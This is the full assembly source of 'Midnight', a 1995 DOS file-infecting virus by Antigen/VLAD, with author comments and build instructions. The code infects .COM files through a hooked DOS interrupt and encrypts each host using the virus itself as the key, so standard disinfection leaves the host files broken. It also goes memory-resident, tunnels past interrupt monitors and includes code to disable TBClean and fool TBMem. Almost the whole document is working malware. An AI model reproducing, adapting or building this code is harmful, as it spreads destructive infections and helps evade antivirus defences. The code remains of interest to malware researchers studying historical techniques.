;; -=**=- ;; Copyright 1995 by Antigen/VLAD ;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` ;; '...Midnight shakes the memory ;; As a madman shakes a dead geranium.' ;; ;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` ;; read some poetry if you don't know what that's from. ;; ;; This virus was very easy to write, because of its nature: ;; it is designed to be detected ;; 'What the fuck?!' may be passing through the careful thinker's mind, so ;; here is a reasoning behind this. ;; Midnight infects .com files, but in addition to infecting them, it ;; encrypts the ENTIRE host file using the virus as a key ;; In other words, standard disinfection methods will not work on Midnight ;; So, if user A feels like relying upon their nifty integrity checker or ;; Invircible (which disinfects 100% of unknown virii, btw!!), ;; they will end up with a bunch of very strange files that crash every time ;; they try to run them. This virus will ONLY disinfect in memory on ;; execution of an infected file, and only has read redirection and dir/fffn ;; stealth to hide the virus while it is active in memory. ;; My point is that wild and dubious claims of 100% generic detection/ ;; disinfection is total bullshit, and I offer Midnight as a perfect example ;; of why that is ;; ;; --Antigen ;; assemble with tasm as an .exe, and strip the header. Then add 4 bytes: ;; e9 01 00 90 ;; and it will run .model tiny .code .radix 16 ; since this was originally not a serious org 0 ; project, I used masm mode :) start: const_start: call next next: int 3 pop si mov cx,40 mov ah,30 int 21 cmp_shit: or ax,ax je being_tbcleaned mov bx,ds dec bx mov ds,bx cmp ax,0fedh je no_install push bx mov byte ptr ds:[0],'m' xor byte ptr ds:[0],20 sub word ptr ds:[3],(end_vir-const_start)/8+1 sub word ptr ds:[12],(end_vir-const_start)/8+1 mov es,ds:[12] mov byte ptr es:[0],5a xor 34 xor byte ptr es:[0],34 mov word ptr es:[1],8 mov word ptr es:[3],(end_vir-const_start)/8+1 mov ax,es inc ax mov es,ax xor di,di lea si,[si-3+10] mov cx,end_vir-const_start cld rep movsb push es mov ax,offset _high push ax retf no_install: push bx jmp exit_to_host being_tbcleaned: xor cx,cx db 0f3 int 25 ; disable tbclean popf call disinfect mov ax,4c00 int 21 _high: push ds cs pop ds ideal mov di,sim_flags ; this simply saves code mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40 mov [word ptr di+(_cs - sim_flags)],cs mov [word ptr di+(_ip - sim_flags)],offset tunnel ;; set the cs:ip of art to cs:tunnel mov [word ptr di+(test_exit - sim_flags)],offset _21test ;; use the INT 21 tunnel tester mov [word ptr di+(tunnel_ip_ofs - sim_flags)],offset o21i ;; tell art where to put the tunneled cs:ip mov [byte ptr di],0 ;; clear all simulation flags mov ah,52 int 21 ; get DOS list of lists mov ax,[es:bx-2] ; ax = first MCB mov [word ptr di+(firstMCB - sim_flags)],ax mov [word ptr di+(return_address - sim_flags)],offset beginning ;; on return from saving the processor state, go to the beginning mov ax,0de1bh int 15 mov ah,30 ; we'll use get DOS version jmp save_ds ; jump into art ;----------------------->> art starts simulating at this point tunnel: int 21 ; this is tunneled ;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21) mov ax,0de1ch int 15 mov ax,[word ptr di+(tunnel_ip - sim_flags)] ;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL, ;; FS segment override, GS segment override, Operand Length Override, Address ;; length override, coprocessor escape instructions, and BPICE push cs pop ds cmp ax,0ffff masm jne successful jmp exit_to_host successful: mov ax,3521 int 21 mov word ptr ds:[old21ip],bx mov word ptr ds:[old21cs],es mov ax,not 2521 not ax mov dx,offset i21 call chain mov ax,4b00 xor dx,dx ; fool TBMem into accepting int 21 ; our vector exit_to_host: pop ax inc ax mov ds,ax mov es,ax mov si,ds:[101] add si,103 push si call decrypt_host pop si mov ax,100 mov di,ax add si,(first_bytes - const_start) movsw movsb push es push ax xor ax,ax retf ;;assumptions: ; - the code will only be executed in a situation where no delta offset ; is necessary, i.e. in residence ; - radix is 16 ; - ss:sp = cs:tempsp ; - saved ss:sp is valid ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; sim_flags bitmapped values: ; 8 7 6 5 4 3 2 1 ; ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation ; ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked) ; ³ ³ ³ ³ ³ ÀÄ unused ; ³ ³ ³ ³ ÀÄ unused ; ³ ³ ³ ÀÄ set es = old ds in simulation ; ³ ³ ÀÄ unused ; ³ ÀÄ unused ; ÀÄ one of either int 0 or int 5 has been hooked ideal unsuccessful: mov di,[word ptr cs:tunnel_ip_ofs] ; set in the initialization xor ax,ax dec ax ; ax=0ffff stosw exit_art: mov [word ptr cs:return_address],offset hide_tracks jmp restore_ds ; continue where we left off hide_tracks: jmp [dword ptr cs:_ip] ; no traces :) beginning: cld mov al,[byte ptr cs:sim_flags] ;; did the last instruction require hooking of an interrupt? test al,80 je no_reset xor di,di mov es,di ; es:di = int 0 vector test al,2 ; was it int 5? je was_int_0 mov di,4*5 ; int 5 vector was_int_0: mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector stosw mov ax,[word ptr cs:int0_5_scs] stosw and [byte ptr cs:sim_flags],not 82 ; turn off de flags no_reset: push cs pop es mov di,simulate_buffer ; es:di = simulate buffer ;; ds:si = traced cs:ip mov ds,[word ptr cs:di+(_cs-simulate_buffer)] mov si,[word ptr cs:di+(_ip-simulate_buffer)] ;; exceptions always push the ip of the ofending instruction on 286+ ;; and since nobody in their right mind would write software which ;; works only on 8086/8088s, I assume this will be the case. mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it ;; this calls the procedure installed to test whether we've tunneled far ;; enough call [word ptr cs:di+(test_exit-simulate_buffer)] jnc continue_art ;; if we reach here, we're done :) mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)] ;; di = 4 byte space for the tunneled cs:ip xchg ax,si stosw mov ax,ds stosw ; save the tunneled cs:ip jmp exit_art continue_art: ;; al = 1st byte of next instruction lodsb stosb ; save in simulate buffer call scan_for_invalid ; unhandleable opcode? jnc unsuccessful ; damn call scan_for_prefix ; prefix? jnc continue_art ; if so, read in next byte call scan_for_csip_change ; modifies cs and/or ip? ;; if so, it never returns, but jumps to continue_art call scan_for_int0_5_needed ; hook int 0/5 if needed call scan_for_no_mrm ; simple instruction? jnc goto_simulate ; then no problems ;; if we reach here, the instruction has a ModR/M byte which needs parsing push ax xchg ax,bx ; bl = instruction lodsb ; load the ModR/M into al skip_out: ;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0 ;; have an immediate value which was never copied to the simulate buffer cmp bl,0f6 je test_immm cmp bl,0f7 jne no_immm test_immm: stosb ; save the ModR/M mov ah,al ; again and al,111000b ; if column 0, ZF will be set xchg ah,al jne no_imms test bl,1 ; f7 has 2 bytes, f6 1 je one_immm movsb one_immm: movsb no_imms: call immm_parse_ModRM ; skip the stosb below jmp rest_main no_immm: call parse_ModRM ; store and parse the ModR/M rest_main: pop ax ; al = instruction byte call scan_for_immediate ; has immediate bytes? goto_simulate: jmp simulate ;=========================================================================== ; given a ModRM in al, determine the length of displacement ; es:di -> current location in simulation buffer ;; format of ModR/M: ;; bit: 8 7 6 5 4 3 2 1 ;; Mod: 1 1 = register value, i.e. just a ModR/M byte ;; Mod: 1 0 = memory value + a 16 bit displacement ;; Mod: 0 1 = memory value + an 8 bit displacement ;; mrm: 0 0 1 1 0 = just a 16 bit displacement ;; mrm: 0 0 x x x = just a ModR/M byte (x x x != 1 1 0) parse_ModRM: stosb ; save the ModRM immm_parse_ModRM: mov ah,al and al,0c0 ; isolate the Mod and the R/M cmp al,0c0 je no_disp cmp al,80 je disp16 cmp al,40 je disp8 and ah,111b cmp ah,6 jne no_disp disp16: movsb disp8: movsb no_disp: ret ;=========================================================================== restore_ds: mov ds,[word ptr cs:_ds] restore_proc_state: mov ax,cs mov ss,ax mov sp,stack_bottom pop ax bx cx dx si di bp es popf pop ss mov sp,[word ptr cs:_sp] jmp [word ptr cs:return_address] ;=========================================================================== save_ds: mov [word ptr cs:_ds],ds save_proc_state: mov [word ptr cs:_sp],sp mov [word ptr cs:_ss],ss mov [word ptr cs:_ax],ax mov ax,cs mov ss,ax mov sp,stack_top pushf cli push es bp di si dx cx bx mov ax,cs mov ss,ax mov sp,[word ptr cs:temp_sp] ; use temporary stack jmp [word ptr cs:return_address] ;=========================================================================== ;=========================================================================== simulate: ;; write the ret to simulate buffer call write_ret mov di,sim_flags ; save bytes ;; zero return address for now and [word ptr cs:di+(return_address - sim_flags)],0 test [byte ptr cs:di],10 ; set es = ds? je no_es sub [word ptr cs:di+(return_address - sim_flags)],\ start_simulate-let_es_eq_ds ; adjust return address no_es: test [byte ptr cs:di],1 ; set ds = cs? jne let_ds_eq_cs ; ds already = cs ;; restore ds if we don't need it to be cs mov ds,[word ptr cs:di+(_ds - sim_flags)] let_ds_eq_cs: add [word ptr cs:return_address],offset start_simulate jmp restore_proc_state let_es_eq_ds: mov [word ptr cs:temp_es],es ; remember for afterwards mov es,[word ptr cs:_ds] ; set es = ds start_simulate: mov [word ptr cs:return_address],offset ds_cleanup jmp near simulate_buffer ; do de dirty werk ds_cleanup: mov [word ptr cs:return_address],offset test_ds jmp save_proc_state ; save everytink but ds test_ds: mov di,sim_flags test [byte ptr cs:di],10 ; was es = ds? je es_is_just_fine_the_way_it_is ; heh, guess not mov ax,[word ptr cs:di+(temp_es - sim_flags)] mov [word ptr cs:di+(_es - sim_flags)],ax es_is_just_fine_the_way_it_is: test [byte ptr cs:di],1 ; was ds = cs? je normal_cmp ; if so, and ds now != cs, mov ax,ds ; we want top save the change cmp ax,[word ptr cs:di+(_cs - sim_flags)] jne normal_cmp mov ds,[word ptr cs:di+(_ds - sim_flags)] normal_cmp: mov [word ptr cs:di+(_ds - sim_flags)],ds and [byte ptr cs:di],not 11 ; turn off ds = cs,es = ds cycle: jmp beginning ; go topside ;=========================================================================== write_ret: mov [word ptr cs:_ip],si ; save new ip mov ax,0ff2e ; cs:... stosw mov ax,(low (offset return_address - offset const_start)) shl 8 + 26 stosw mov al,high (offset return_address - offset const_start) stosb ; ...jmp [return_address] ret ;=========================================================================== scan_for_invalid: mov bx,offset invalid_sfi mov cx,end_invalid_sfi - invalid_sfi jmp scan ; let scan handle the ret invalid_sfi: db 0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1 end_invalid_sfi: ;=========================================================================== scan_for_prefix: cmp al,2e ; cs:? je set_sfp reset_sfp: mov bx,offset prefixes mov cx,end_prefixes - prefixes call scan jc no_reset_sfp and [byte ptr cs:sim_flags],not 1 ; turn off ds = cs flag no_reset_sfp: ret set_sfp: or [byte ptr cs:sim_flags],1 ; turn on ds = cs flag ;; set al = 3e which is ds: or al,10 ; this auto. clears carry :) dec di ; replace the cs: stosb ret prefixes: db 26,36,3e,64,65,0f0,0f2,0f3 end_prefixes: ;=========================================================================== scan_for_int0_5_needed: push ax es di cmp al,0f6 ; DIV/IDIV je needed0 cmp al,0f7 je needed0 cmp al,0d4 ; AAM je might_need_0 cmp al,62 ; Bound je needed5 do_da_ret_thang: pop di es ax ret needed5: mov di,4*5 or [byte ptr cs:sim_flags],2 ; remember it was int 5 jmp skip_0 might_need_0: lodsb ; the immediate of AAM dec si or al,al ; is it 0? jne do_da_ret_thang ; if so we need to hook int 0 needed0: xor ax,ax mov di,ax mov es,ax ; es:di = int 0 vector skip_0: or [byte ptr cs:sim_flags],80 ; remember we hooked an int mov ax,[es:di] mov [word ptr cs:int0_5_sip],ax mov ax,[es:di+2] mov [word ptr cs:int0_5_scs],ax ; save the vector mov ax,offset int0_5 stosw mov ax,cs stosw ; set it to ours jmp do_da_ret_thang ;=========================================================================== standard_cfar: ; call far push ds ; return cs lea ax,[si+4] ; return ip push ax ;=========================================================================== standard_far: lodsw lodsw ; ax = the new cs mov ds,ax f_standard_far: or al,8 ; make sure al is non-zero cmp ax,0 ; shorter than a jmp short org $ - 2 standard_near: mov al,0 ; make sure al = 0 do_gnear: mov [word ptr cs:_ip],bx ; save the new ip or al,al ; was it far? je near_direct do_gfar: ; if al != 0 then mov [word ptr cs:_cs],ds ; yes near_direct: jmp to_beginning ; restore temp stack ;=========================================================================== do_cnear: lea ax,[si+2] ; return ip push ax ; save on stack jmp do_near ; do near jump procedure ;=========================================================================== do_cond: mov [byte ptr cs:test_jcond],al ; save the jump mov cx,[word ptr cs:_cx] ; if loop, it uses cx xchg bh,bl ; bh = short offset mov bl,0 ; set the current jmp to 0 mov bp,sp mov bp,[bp-2] ; bp = stack word push [word ptr cs:flags] popf ; restore flags push bp ; keep the stack untarnished pop bp jmp test_jcond ; flush prefetch on 486- test_jcond: ;; the je is replaced with the jump of choice (current instruction) je has_offset cmp ax,0 ; shorter dan a jmp short org $ - 2 has_offset: mov bl,bh ; use the short offset mov [word ptr cs:_cx],cx ; save any changes to cx ;; al = relative offset do_short: xchg ax,bx cbw ; convert the short to a near xchg ax,bx dec bx ; short jmps are 2 bytes ;; bx = relative offset do_near: inc bx inc bx inc bx ; near jmps are 3 bytes long add [word ptr cs:_ip],bx ; set new ip ;=========================================================================== to_beginning: mov [word ptr cs:_sp],sp ; remember changes to sp mov bx,cs mov ss,bx mov sp,offset stack_top+300 ; use temporary stack jmp beginning ; cycle ;=========================================================================== scan_for_csip_change: mov bx,offset temp_sp mov [word ptr cs:bx],sp ; save current sp ;; use original stack (smaller code) mov ss,[word ptr cs:bx+(_ss - temp_sp)] mov sp,[word ptr cs:bx+(_sp - temp_sp)] xchg ax,bx lodsw xchg ax,bx ;; al = current instruction, ah = 0 (4 lines down) ;; bx = next 2 bytes dec si dec si mov ah,0 cmp al,9a ; call far je standard_cfar cmp al,0ea ; jmp far je standard_far cmp al,0ebh ; jmp short je do_short cmp al,0e9 ; jmp near je do_near cmp al,0e8 ; call near je do_cnear cmp al,0e0 ; loopne jb no_cond ; loope is e1, loop is e2 cmp al,0e3 ; jcxz jbe do_cond no_cond: cmp al,70 ; all the jx/jnx jumps jb not_jcond cmp al,7f jbe do_cond not_jcond: cmp al,0c2 ; ret iw je iw_ret cmp al,0c3 ; ret je standard_ret cmp al,0ca ; retf iw je iw_retf cmp al,0cbh ; retf je standard_retf cmp al,0cc ; int 3 je trap_int cmp al,0cdh ; int xx je do_int cmp al,0ceh ; into je overflow_int cmp al,0cfh ; iret je do_iret cmp al,0ff ; indirect jmp/call (maybe) je test_ff jmp restore_temp_stack ; return to the sim cycle ;=========================================================================== iw_retf: ;; remember that this is a retf and also not an iret or ax,101 iw_ret: ;; remember that an imm16 must be added to sp or ah,2 test ah,1 jne standard_retf standard_ret: mov al,0 ; not retf cmp ax,0 ; shorter jmp short org $ - 2 standard_retf: and al,not 2 ; not iret do_iret: do_retn: pop [word ptr cs:_ip] ; pop ip from stack test al,1 ; far? je retn_only pop [word ptr cs:_cs] ; pop cs from stack test al,2 ; iret? je retf_only pop [word ptr cs:flags] ; pop flags retf_only: retn_only: test ah,2 ; immediate word? je no_iw add sp,bx ; bx = that word (ca xxxx) no_iw: jmp to_beginning ; cycle ;----------------------------- ; thses are used by test_ff goto_call_near: push si goto_jmp_near: jmp standard_near goto_call_far: push [word ptr cs:_cs] si goto_jmp_far: jmp f_standard_far ;=========================================================================== overflow_int: test [word ptr cs:flags],800 ; OF set? mov bl,4 ; int 4 if so jne do_sint mov bx,si ; si = instruction after INTO jmp do_gnear ; reuse code to save size trap_int: mov bl,3 ; use int 3 do_sint: dec si ; cc,ce are 1 byte < cd xx ;=========================================================================== do_int: mov bh,0 ; bx = int number shl bl,1 shl bl,1 ; bx = bx*4 inc si push [word ptr cs:flags] ds si ; order of stack in an int and [byte ptr cs:flags+1],not 3 ; turn off TF & IF xor ax,ax mov ds,ax lds bx,[bx] ; ds:bx =int vector or al,8 ; it's far, so remember jmp do_gnear ;=========================================================================== test_ff: mov ax,cs mov ss,ax mov sp,[word ptr cs:temp_sp] ; need temporary stack lodsb ; al = ModR/M mov ah,al ; remember it and al,111000b ; isolate opcode in ModR/M push ax ; save for later cmp al,2 shl 3 jb not_csip_ff cmp al,5 shl 3 ; if 5 > reg > 2 it needs sim ja not_csip_ff call get_ModRM ; get the new cs:ip xchg ax,bx ; ds:bx = new cs:ip pop ax ; ax = reg of Mod reg R/M mov ss,[word ptr cs:_ss] mov sp,[word ptr cs:_sp] mov si,[word ptr cs:_ip] cmp al,2 shl 3 ; call near je goto_call_near cmp al,3 shl 3 ; call far je goto_call_far cmp al,4 shl 3 ; jmp near je goto_jmp_near cmp al,5 shl 3 ; jmp far je goto_jmp_far not_csip_ff: dec si ; ds:si -> ModR/M pop ax ; pop to get the ret to work mov al,0ff ; now it's like when started ret ;=========================================================================== scan_for_no_mrm: cmp al,0e ; push cs jne not_pushcs dec di ; es:di -> push cs or al,10 ; push ds stosb ; switch push cs with push ds or [byte ptr cs:sim_flags],1 ; remember to set ds = cs ret not_pushcs: cmp al,8c ; mov r/m16,segmentr register? jne not_mov_reg_seg lodsb ; al = ModR/M push ax ; save it and al,111000b ; isolate the register cmp al,1000b ; cs? jne not_cs or [byte ptr cs:sim_flags],1 ; set ds = cs and use ds pop ax or al,10000b ; now = ds setup_skip: pop bx ; pop the return address push ax ; setup to skip normal route mov bl,08c jmp skip_out ; go directly to parse_modR/M not_cs: ;; now to check for: ; mov [cs:somewhere],ds ; which becomes ; mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops) ; so I use ; mov [ds:somewhere],es and set es = ds cmp al,11000b ; ds? jne restore_8c test [byte ptr cs:sim_flags],1 ; is ds = cs? urgh, problem je restore_8c or [byte ptr cs:sim_flags],10 ; OK, use es instead pop ax xor al,11000b ; use es jmp setup_skip restore_8c: dec si pop ax mov al,8c stc ret not_mov_reg_seg: cmp al,0c8 ; enter? jne next_sfnm movsw ; the only 4 byte instruction movsb ret next_sfnm: cmp al,40 jb do_scan_sfnm ; 40 <= instructions <= 61 cmp al,62 ; are all 1 byte instructions cmc ja success_sfnm do_scan_sfnm: cmp al,90 ; 9a is never seen here jb do_scan_sfnm2 ; 90 <= instrucitons <= 9f cmp al,0a0 ; are all 1 byte instructions cmc ja success_sfnm do_scan_sfnm2: push ax mov bx,offset one_byters mov cx,two_byters - one_byters call scan ; scan for 1 byters jnc success1 mov cl,three_byters - two_byters call scan ; scan for 2 byters jnc success2 mov cl,end_sfnm - three_byters call scan ; and three byte instructions jc no_success_sfnm movsb success2: movsb success1: mov ah,0 ; shorter jmp short org $ - 1 no_success_sfnm: stc pop ax success_sfnm: ret one_byters: db 6,7,0e db 16,17,1e,1f db 27,2f db 37,3f db 6c,6dh,6e,6f db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af db 0c9 db 0d6,0d7 db 0ee ;skip halt (no need to worry if that's executed!) db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh two_byters: db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib db 6a ;push imm8 db 0a8 ;test al,ib db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib db 0d4,0d5 ;aam and aad db 0e4,0e6 ;in/out al,ib db 0e5,0e7 ;in/out ax,ib three_byters: db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw db 68 ; push imm16 db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax db 0a9 ;test ax,iw db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw end_sfnm: ;=========================================================================== scan_for_immediate: push ax ; opcodes with an imm value mov bx,offset immediates_8 mov cx,immediates_16 - immediates_8 call scan jnc success_1_sfi mov cl,end_immediates - immediates_16 call scan jc no_imm_sfi movsb success_1_sfi: movsb no_imm_sfi: pop ax ret immediates_8: db 6bh,80,82,83,0c0,0c1,0c6 immediates_16: db 69,81,0c1,0c7 end_immediates: ;=========================================================================== ; es:bx = index ; al = byte to scan for ; cx = number of bytes to scan scan: cmp [es:bx],al je found_scan inc bx loop scan stc found_scan: ; if =, CF will be cleared ret ;=========================================================================== _21test: ;; check for instructions which DO NOT exist at DOS entry point cmp [byte ptr si],0cf ; iret je not_in_DOS cmp [byte ptr si],0cbh ; retf je not_in_DOS cmp [byte ptr si],0ca ; retf iw je not_in_DOS cmp [byte ptr si],0c3 ; ret je not_in_DOS cmp [byte ptr si],0c2 ; ret iw je not_in_DOS mov ax,si mov cl,4 shr ax,cl ; un-segmentize ;; segmentize our current location mov cx,ds add ax,cx cmp ax,[word ptr cs:firstMCB] not_in_DOS: ret ;=========================================================================== ;; interrupt handler (sets up tracing through the int handler) int0_5: mov di,sim_flags add sp,4 ;; push the 'real' return address, replacing the simulate buffer's location push [word ptr cs:di+(_cs - sim_flags)] push [word ptr cs:di+(int0_5_ip - sim_flags)] ;; save the new sp mov [word ptr cs:di+(_sp - sim_flags)],sp lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)] ;; ds:ax = new cs:ip (location of their int 0/5 vector mov [word ptr cs:di+(_cs - sim_flags)],ds mov [word ptr cs:di+(_ip - sim_flags)],ax ;; restore temp_stack mov ax,cs mov ss,ax mov sp,offset stack_top + 300 and [byte ptr cs:di],not 11 ; turn off any flags still on jmp beginning ; cycle ;=========================================================================== get_ModRM: mov [word ptr cs:temp_sp],sp dec di ;; use a temporary instruction to get what's at the ModR/M easily mov al,0c5h ; lds r16,r/m16 stosb mov al,ah and al,11000000b ; look at the Mod ;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so ;; use mov r16,r16 instead cmp al,11000000b jne OK_to_use_lds ;; this only happens for call,jmp near dec di ; es:di -> lds r16,r/m16 mov al,8bh ; mov r16,r/m16 stosb ; replace the lds OK_to_use_lds: mov al,ah and al,11000111b ; set r16 to ax call parse_ModRM ; copy correct number of bytes call write_ret ; write the return and save ip mov [word ptr cs:return_address],offset next_gmw test [byte ptr cs:sim_flags],1 ; ds = cs? je no_gmw_ds jmp restore_proc_state ; restore all but ds no_gmw_ds: jmp restore_ds ; restore everything next_gmw: mov [word ptr cs:return_address],offset next_gmw1 jmp near simulate_buffer ; get the address in ds:ax next_gmw1: and [byte ptr cs:sim_flags],not 1 ; turn off the flag restore_temp_stack: ; self-explanatory mov bx,cs mov ss,bx mov sp,[word ptr cs:temp_sp] ; all set :) ret ;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` masm test_infect: push ax cx dx si di ds es cld mov ax,3d02 call chain jnc continue_infect jmp no_infect continue_infect: xchg ax,bx mov ax,4400 call chain test dl,80 jne not_infected push cs cs pop ds es mov dx,(end_vir - const_start) mov ah,3f mov cx,3 call chain mov si,dx lodsb cmp al,0e9 je infected or al,84 cmp al,84 or 'M' je infected cmp al,84 or 'Z' je infected ; avoid misnamed .exe's not_infected: clc mov al,0 org $ - 1 infected: stc pop es ds di si dx cx ax ret disinfect: push ax bx cx dx si di ds es mov ah,62 call chain mov es,bx mov es,es:[2c] xor di,di mov ax,di mov cx,7fff go_on: repne scasb scasb jne go_on scasw push es di pop dx ds mov ax,3d02 call chain xchg ax,bx mov ax,5700 call chain push cx dx push cs pop ds mov dx,word ptr ds:[(end_vir - const_start)+1] push dx add dx,3+(first_bytes - const_start) xor cx,cx mov ax,4200 call chain mov dx,(end_vir - const_start) + 3 mov cx,3 mov ah,3f call chain pop dx add dx,3 xor cx,cx mov ax,4200 call chain mov ah,40 xor cx,cx call chain cwd xchg ax,cx mov ax,4200 call chain mov ah,40 mov cx,3 mov dx,(end_vir - const_start) + 3 call chain pop dx cx mov ax,5701 call chain mov ah,3e call chain no_infect: pop es ds di si dx cx bx ax ret goto_not_infectable: jmp not_infectable infect: cld push ax bx cx dx si di ds es push ds dx xor ax,ax pop di es mov cx,128d cld repne scasb cmp di,3 jbe goto_not_infectable mov ax,word ptr es:[di-3] or ax,2020 cmp ax,'mo' jne goto_not_infectable mov al,byte ptr es:[di-4] and al,not 20 cmp al,'C' jne goto_not_infectable mov al,byte ptr es:[di-6] or al,20 cmp al,'d' je goto_not_infectable ; avoid COMMAND.COM like de plague infectable: mov ax,4300 call chain push ax and cl,not 1 mov ax,4301 call chain call test_infect pop cx pushf mov ax,4301 call chain popf jc infected_prolly push cs pop ds mov ax,5700 call chain push cx dx mov dx,(first_bytes - const_start) mov cx,3 mov ah,3f call chain push cs pop es mov di,(end_vir - const_start) call encrypt_host mov ax,4202 cwd mov cx,dx call chain push ax xor dx,dx mov cx,(end_vir - const_start) mov ah,40 call chain mov ax,4200 cwd mov cx,dx call chain mov byte ptr cs:[(end_vir - const_start)],0e9 pop ax sub ax,3 mov word ptr cs:[(end_vir - const_start) + 1],ax mov dx,(end_vir - const_start) mov ah,40 mov cx,3 call chain push bx mov ax,352a call chain mov al,0cf xchg byte ptr es:[bx],al pop bx xchg ax,bp mov ax,5701 pop dx cx call chain mov ah,3e call chain mov ax,352a call chain xchg ax,bp xchg byte ptr es:[bx],al not_infectable: infected_prolly: pop es ds di si dx cx bx ax ret db '[Midnight] by Antigen/VLAD',0dh,0a db 'Hi Zvi!! Thanks for inspiring the idea :)' db 'M' xor 'm' db 'i' xor 'u' db 'd' xor 'i' db 'n' xor 'n' db 'i' xor 'a' db 'g' xor 'r' db 'h' xor 'e' db 't' xor 'g' db ' ' xor ' ' db 's' xor 'd' db 'h' xor 'a' db 'a' xor 'e' db 'k' xor 'd' db 'e' xor ' ' db 's' xor 'a' db ' ' xor ' ' db 't' xor 's' db 'h' xor 'e' db 'e' xor 'k' db ' ' xor 'a' db 'm' xor 'h' db 'e' xor 's' db 'm' xor ' ' db 'o' xor 'n' db 'r' xor 'a' db 'y' xor 'm' db ' ' xor 'd' db 'A' xor 'a' db 's' xor 'm' db ' ' xor ' ' db 'a' xor 'a' db ' ' xor ' ' db 'm' xor 's' db 'a' xor 'A' db 'd' xor ' ' db 'm' xor 'y' db 'a' xor 'r' db 'n' xor 'o' db ' ' xor 'm' db 's' xor 'e' db 'h' xor 'm' db 'a' xor ' ' db 'k' xor 'e' db 'e' xor 'h' db 's' xor 't' db ' ' xor ' ' db 'a' xor 's' db ' ' xor 'e' db 'd' xor 'k' db 'e' xor 'a' db 'a' xor 'h' db 'd' xor 's' db ' ' xor ' ' db 'g' xor 't' db 'e' xor 'h' db 'r' xor 'g' db 'a' xor 'i' db 'n' xor 'n' db 'i' xor 'd' db 'u' xor 'i' db 'm' xor 'M' encrypt_host: mov ax,4200 cwd mov cx,dx mov dl,4 call chain ; seek to beginning + 4 mov dx,(end_vir - const_start) encrypt_lup: mov cx,(not_execute - const_start) ; cx = block length mov ah,3f call chain ; read in that many bytes or ax,ax je done_lup call en_decrypt ; encrypt the buffer push dx ax xchg ax,dx mov ax,4201 mov cx,0ffff neg dx ; seek backwards virus_len bytes call chain mov ah,40 pop cx dx call chain ; write the encrypted portion mov di,(end_vir - const_start) jmp encrypt_lup ; encrypt until we reach the file end done_lup: ret decrypt_host: mov di,104 ; encryption starts here mov bp,si next_section: mov si,bp mov cx,(not_execute - const_start) cld decrypt_loop: lodsw xor es:[di],ax scasw dec cx cmp di,bp jae done_decrypt loop decrypt_loop ; simply do the same as the jmp next_section ; encryption without modding the file done_decrypt: ret en_decrypt: push ax ds si cx cs cs pop ds es xor si,si mov cx,(not_execute - const_start) top: lodsw xor es:[di],ax ; use the virus itself as the key scasw dec cx jcxz bottom loop top bottom: pop cx si ds ax ret is_install: pop cx mov ax,0fedh iret ;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` ;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` i21: cmp ah,30 jne not_install cmp cx,40 jne not_install push cx si di es cs pop es lea si,[si+(cmp_shit - next)] mov di,(cmp_shit - const_start) cld repe cmpsb pop es di si jcxz is_install pop cx not_install: cmp ah,3dh jne not_open call infect jmp not_execute not_open: not ax cmp ax,not 4b00 pushf not ax popf jne not_execute call infect not_execute: db 0ea old21ip dw ? old21cs dw ? first_bytes: db 0cdh,20,95 chain: pushf db 9a o21i dw ? o21c dw ? ret end_vir: ;=========================================================================== ; put this label anywhere you want heap: ideal sim_flags = offset heap firstMCB = sim_flags + 1 tunnel_ip = firstMCB + 2 simulate_buffer = tunnel_ip + 4 temp_es = simulate_buffer + 16 return_address = temp_es + 2 temp_sp = return_address + 2 tunnel_ip_ofs = temp_sp + 2 int0_5_ip = tunnel_ip_ofs + 2 int0_5_sip = int0_5_ip + 2 int0_5_scs = int0_5_sip + 2 _ip = int0_5_scs + 2 _cs = _ip + 2 _ds = _cs + 2 stack_bottom = _ds + 2 _ax = stack_bottom _bx = _ax + 2 _cx = _bx + 2 _dx = _cx + 2 _si = _dx + 2 _di = _si + 2 _bp = _di + 2 _es = _bp + 2 flags = _es + 2 stack_top = flags + 2 _ss = stack_top _sp = _ss + 2 test_exit = _sp + 2 end start